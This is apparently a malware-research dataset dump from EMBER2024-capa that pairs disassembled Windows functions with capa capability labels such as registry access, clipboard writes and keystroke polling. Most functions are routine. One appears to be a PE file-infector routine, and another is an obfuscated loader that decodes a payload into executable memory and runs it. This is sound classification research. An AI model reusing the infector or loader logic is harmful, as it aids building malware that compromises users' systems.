joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401afc
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
pushal
mov esi, dword [0x405e1e]
or esi, esi
je 0x401b54
push dword [0x405e26]
call sub.kernel32.dll_UnmapViewOfFile
push dword [0x405e2a]
call sub.kernel32.dll_CloseHandle
push 0
push 0
push dword [0x405e2e]
push esi
call sub.kernel32.dll_SetFilePointer
push esi
call sub.kernel32.dll_SetEndOfFile
push esi
call sub.kernel32.dll_CloseHandle
push dword [ebp + 8]
call fcn.0040184f
push dword [0x405e1a]
push 0x40561a
call sub.kernel32.dll_SetFileAttributesA
popal
leave
ret 4

Function at 0x401b83
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
pushal
mov byte [ebp - 0x401], 0
push 1
push 8
call fcn.00401057
or eax, eax
je 0x401be0
mov esi, eax
push 0x400
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push 0x405366
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
mov ecx, dword [esi + 1]
lea eax, [esi + 5]
push ecx
push eax
lea eax, [ebp - 0x400]
push eax
call fcn.00403398
mov byte [ebp - 0x401], 1
popal
movzx eax, byte [ebp - 0x401]
leave
ret
Function at 0x402e21
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
mov esi, dword [ebp + 8]
xor ecx, ecx
jmp 0x402e4e
inc ecx
cmp ecx, dword [0x405e22]
jne 0x402e4e
push 0x405551
call fcn.004017cb
xor eax, eax
pop edi
pop esi
pop edx
pop ecx
pop ebx
leave
ret 0x10
cmp dword [ecx + esi], 0x4550
jne 0x402e30
add esi, ecx
mov eax, dword [ebp + 8]
add eax, dword [0x405e22]
cmp dword [eax - 4], 0x32505564
jne 0x402e77
push 0x405568
call fcn.004017cb
jmp 0x402e43
push esi
movzx eax, word [esi + 6]
dec eax
imul eax, eax, 0x28
movzx ecx, word [esi + 0x14]
add esi, 0x18
add esi, ecx
mov edi, esi
or dword [edi + 0x24], 0x80000000
add edi, eax
pop esi
cmp dword [ebp + 0xc], 4
jne 0x402ea0
mov ecx, dword [esi + 0x34]
jmp 0x402ea2
xor ecx, ecx
mov dword [0x40317d], ecx
mov ebx, dword [esi + 0x28]
mov ecx, dword [esi + 0x34]
mov dword [0x403175], ebx
add dword [0x403175], ecx
mov eax, dword [edi + 0xc]
add eax, dword [edi + 0x10]
mov dword [esi + 0x28], eax
cmp dword [ebp + 0xc], 4
jne 0x402ed3
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 0x10]
add eax, ebx
jmp 0x402ed5
xor eax, eax
mov dword [0x403181], eax
mov eax, dword [ebp + 8]
add eax, dword [edi + 0x14]
add eax, dword [edi + 0x10]
mov ecx, 0x402f5e
mov ebx, 0x23a
mov edx, eax
add edx, ebx
push edx
push ebx
push ecx
push eax
call sub.kernel32.dll_RtlMoveMemory
pop edx
mov ecx, dword [ebp + 0x14]
mov eax, dword [ecx + 0x16]
lea ecx, [eax + ecx]
mov ebx, dword [0x405590]
sub ebx, eax
push ebx
push ecx
push edx
call sub.kernel32.dll_RtlMoveMemory
mov eax, dword [ebp + 0x10]
push 0x100
push eax
call fcn.004034c0
add dword [edi + 8], eax
add dword [edi + 0x10], eax
or dword [edi + 0x24], 0xe0000000
mov eax, dword [edi + 0xc]
add eax, dword [edi + 8]
mov ebx, dword [esi + 0x38]
push ebx
push eax
call fcn.004034c0
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 8]
add eax, dword [0x405e2e]
mov dword [eax - 4], 0x32505564
xor eax, eax
inc eax
pop edi
pop esi
pop edx
pop ecx
pop ebx
leave
ret 0x10

Function at 0x403398
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x4033c3
xor eax, eax
leave
ret 0xc
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_FlushFileBuffers
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
leave
ret 0xc
Function at 0x4034e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], 1
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
push dword [ebp + 0x14]
push dword [ebp - 8]
call sub.advapi32.dll_RegQueryValueExA
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegCreateKeyExA
or eax, eax
jne 0x403562
mov eax, 4
mov dword [ebp - 4], eax
inc dword [ebp - 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x14]
push dword [ebp - 8]
call sub.advapi32.dll_RegQueryValueExA
push eax
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
pop eax
leave
ret 0x10

Function at 0x4035e0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
pushal
cmp dword [ebp + 8], 0
jne 0x403620
push 0
call sub.kernel32.dll_GetModuleHandleA
lea esi, [ebp - 0x200]
push 0x200
push esi
push eax
call sub.kernel32.dll_GetModuleFileNameA
push esi
call sub.kernel32.dll_lstrlenA
push esi
add esi, eax
jmp 0x403615
dec esi
cmp byte [esi], 0x5c
jne 0x403614
mov byte [esi], 0
pop esi
jmp 0x403623
mov esi, dword [ebp + 8]
push esi
call sub.kernel32.dll_SetCurrentDirectoryA
popal
leave
ret 4

Function at 0x4036b0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
pushal
mov byte [ebp - 1], 0
mov esi, dword [ebp + 8]
or esi, esi
je 0x40370a
push esi
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x40370a
cmp byte [esi], 0
je 0x40370a
lea edi, [ebp - 0x401]
jmp 0x4036df
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp byte [esi], 0x5c
je 0x4036e9
cmp byte [esi], 0
jne 0x4036dd
cmp al, 0x3a
je 0x4036dd
lodsb al, byte [esi]
stosb byte es:[edi], al
mov byte [edi], 0
push 0
lea eax, [ebp - 0x401]
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp byte [esi - 1], 0
jne 0x4036db
mov byte [ebp - 1], 1
popal
movzx eax, byte [ebp - 1]
leave
ret 4

Function at 0x403720
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
pushal
mov byte [ebp - 1], 0
mov esi, dword [ebp + 8]
or esi, esi
je 0x40378e
push esi
call sub.kernel32.dll_lstrlenA
or eax, eax
je 0x40378e
mov ebx, eax
push 0
call sub.user32.dll_OpenClipboard
cmp eax, 1
jne 0x40378e
add ebx, 2
push ebx
push 0x2042
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x403789
mov ebx, eax
push ebx
call sub.kernel32.dll_GlobalLock
or eax, eax
je 0x403789
mov edi, eax
push esi
push edi
call sub.kernel32.dll_lstrcpyA
call sub.user32.dll_EmptyClipboard
cmp eax, 1
jne 0x403789
push edi
call sub.kernel32.dll_GlobalUnlock
push ebx
push 1
call sub.user32.dll_SetClipboardData
call sub.user32.dll_CloseClipboard
popal
movzx eax, byte [ebp - 1]
leave
ret 4
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401443
pop dword [ebp - 0xc]
mov eax, 0x3fcaabb6
sub eax, 0x3f8a9773
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xd850dcaf
sub dword [ebp - 0x1c], 0x89fe9764
mov dword [ebp - 0x18], 0x69a5a06a
sub dword [ebp - 0x18], 0x37725425
mov dword [ebp - 0x14], 0xfa2db985
sub dword [ebp - 0x14], 0xade17557
mov dword [ebp - 0x10], 0x8600c0a4
sub dword [ebp - 0x10], 0x8600c0a4
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xf1b8d63d
add eax, 0xe87aac7
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xbd0faa5f
sub dword [ebp - 0x1c], 0x489d4109
mov dword [ebp - 0x18], 0x2096701a
add dword [ebp - 0x18], 0x20d5f15b
mov dword [ebp - 0x14], 0x47b9574c
add dword [ebp - 0x14], 0x1bb61520
mov dword [ebp - 0x10], 0x4be807de
add dword [ebp - 0x10], 0xb417f822
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3b906
push 0
call eax
mov ecx, 0xd8d289da
sub ecx, 0xd8d234c2
xor edx, edx
add edx, eax
mov ebx, 0xbfe6b2d3
add ebx, 0x4060312d
add ebx, dword [ebp - 0xc]
mov esi, 0x7d977269
sub esi, 0xedeecef9
mov edi, dword [ebx]
mov dword [ebp - 8], 0xded27ad2
add edi, esi
add dword [ebp - 4], 0xe850c565
mov dword [edx], edi
xor dword [ebp - 8], eax
add edx, 4
add ebx, 4
loop 0x401562
add eax, 0x5459af39
sub eax, 0x54586806
xor ebx, ebx
add ebx, eax
add eax, 0xb76c0723
sub eax, 0xb76c071e
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x4029fc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404414
test esi, esi
jne 0x402a32
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404504
jmp 0x402a50
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402910
mov edi, eax
test esi, esi
je 0x402a50
cmp dword [ebx], 0
je 0x402a50
dec esi
jmp 0x402a39
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x40349c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x46b00c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403534
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403514
xor eax, eax
push ebp
push 0x40350d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403550
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403514
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x46b00c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x46b00c], ax
mov esp, ebp
pop ebp
ret

Function at 0x404214
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46d048], 0
je 0x404275
cmp word [0x46d21c], 0xd7b2
jne 0x40423d
cmp dword [0x46d224], 0
jbe 0x40423d
mov eax, 0x46d218
call dword [0x46d234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x46b054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40429c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46b01c], 0
jne 0x404291
push 0
push 0x46b074
push 0x46b054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4043c8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402718
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x46d049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404390
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x409858
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409891
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404504
jmp 0x40989a
mov eax, ebx
mov edx, esi
call fcn.00404468
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4098a4
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x4098c5
mov al, byte [esp]
jmp 0x4098c7
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x409f4c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x409dc4
mov eax, dword [0x46c9d0]
cmp byte [eax], 0
je 0x409fb4
mov eax, dword [0x46c768]
call fcn.00402db8
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408a7c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x409ffc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x409fea
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x46c710]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x46d714]
call fcn.00405b78
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40ab14
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40ab78
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040467c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408750
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ab7f
lea eax, [ebp - 0xc]
call fcn.00404414
ret

Function at 0x41c098
Capabilities:
Suspend thread

Disassembly:
push ebx
mov ebx, eax
mov byte [ebx + 0xe], 1
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, ebx
call fcn.0041bf20
pop ebx
ret

Function at 0x41c0b8
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041bf20
dec esi
jne 0x41c0da
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret
Function at 0x41d204
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x46da24
cmp dword [edi], 0
jne 0x41d280
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x46da20]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x46b4bc
mov ecx, 2
call fcn.004028d0
mov edx, 0x41d1dc
lea eax, [esi + 5]
call fcn.0041d1fc
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041d1fc
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41d255
mov dword [0x46da20], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41d870
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0041d5ec
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.004048c4
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x41d8ce
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x46c8d4]
mov dl, 1
mov eax, dword [0x41d510]
call fcn.0040a0f8
call fcn.00403df0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x41eb74
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41eb7a
ret

Function at 0x420f88
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x420fd9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x420fc0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x420fb0
jmp 0x420fd9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x420fc1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429fa0
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x429eec
call sub.user32.dll_EnumWindows
ret

Function at 0x42a0c4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x42a141
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00429b10
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x42a0e9
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00429768
cmp dword [ebp - 4], 0
je 0x42a12b
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004048c4
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42a148
lea eax, [ebp - 4]
call fcn.00404414
ret

Function at 0x42cd00
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x46dbb4], 0
je 0x42ce4f
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x46c964]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x42ce4f
mov eax, dword [0x46dbb8]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x46dbb4]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x42ce1e
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x46dbb4]
call fcn.00413f88
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42ce16
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x42ce16
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42ce16
mov eax, dword [ebp - 0x14]
call fcn.00435730
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42ce16
push ebp
call fcn.0042ccbc
pop ecx
test al, al
jne 0x42ce16
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x42cdd2
mov eax, dword [ebp - 0x14]
call fcn.004342c4
dec eax
jle 0x42ce16
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403820
cmp byte [ebp - 1], 0
je 0x42ce16
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42ce16
mov edx, dword [ebp - 0x14]
mov eax, dword [0x46dbb8]
call fcn.0042c484
inc edi
dec ebx
jne 0x42cd65
mov eax, dword [0x46dbb8]
cmp dword [eax + 8], 0
jle 0x42ce36
mov eax, dword [0x46dbb8]
call fcn.0042c514
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42ce4f
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0042cb24
pop ecx
test al, al
jne 0x42ce4f
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4303fc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x430448
mov eax, esi
call fcn.00445b6c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x430448
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x430448
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x43058c
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x430488
cmp eax, 0x108
ja 0x430488
mov eax, esi
call fcn.00445b6c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x430583
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xec]
test al, al
jne 0x43058c
jmp 0x430583
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x43056a
cmp eax, 0x20a
ja 0x43056a
test byte [esi + 0x50], 0x80
jne 0x4304ba
sub eax, 0x203
je 0x4304b7
sub eax, 3
je 0x4304b7
sub eax, 3
jne 0x4304ba
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x4304ce
dec eax
je 0x4304e3
dec eax
je 0x430503
dec eax
je 0x4304e3
jmp 0x43050a
mov ecx, ebx
mov eax, dword [0x46c964]
mov eax, dword [eax]
mov edx, esi
call fcn.0044f248
jmp 0x430583
cmp byte [esi + 0x5d], 1
jne 0x4304f9
mov eax, esi
mov si, 0xffed
call fcn.00403820
jmp 0x43058c
or word [esi + 0x54], 1
jmp 0x430583
and word [esi + 0x54], 0xfffe
jmp 0x430583
mov eax, dword [0x46db70]
cmp byte [eax + 0x20], 0
je 0x430583
mov eax, dword [0x46db70]
cmp dword [eax + 0x1c], 0
je 0x430583
mov eax, dword [ebx]
mov edx, dword [0x46db70]
cmp eax, dword [edx + 0x1c]
jne 0x430583
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00445ab0
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403820
jmp 0x43058c
mov eax, dword [ebx]
cmp eax, 0xb00b
jne 0x430583
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0042ed38
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret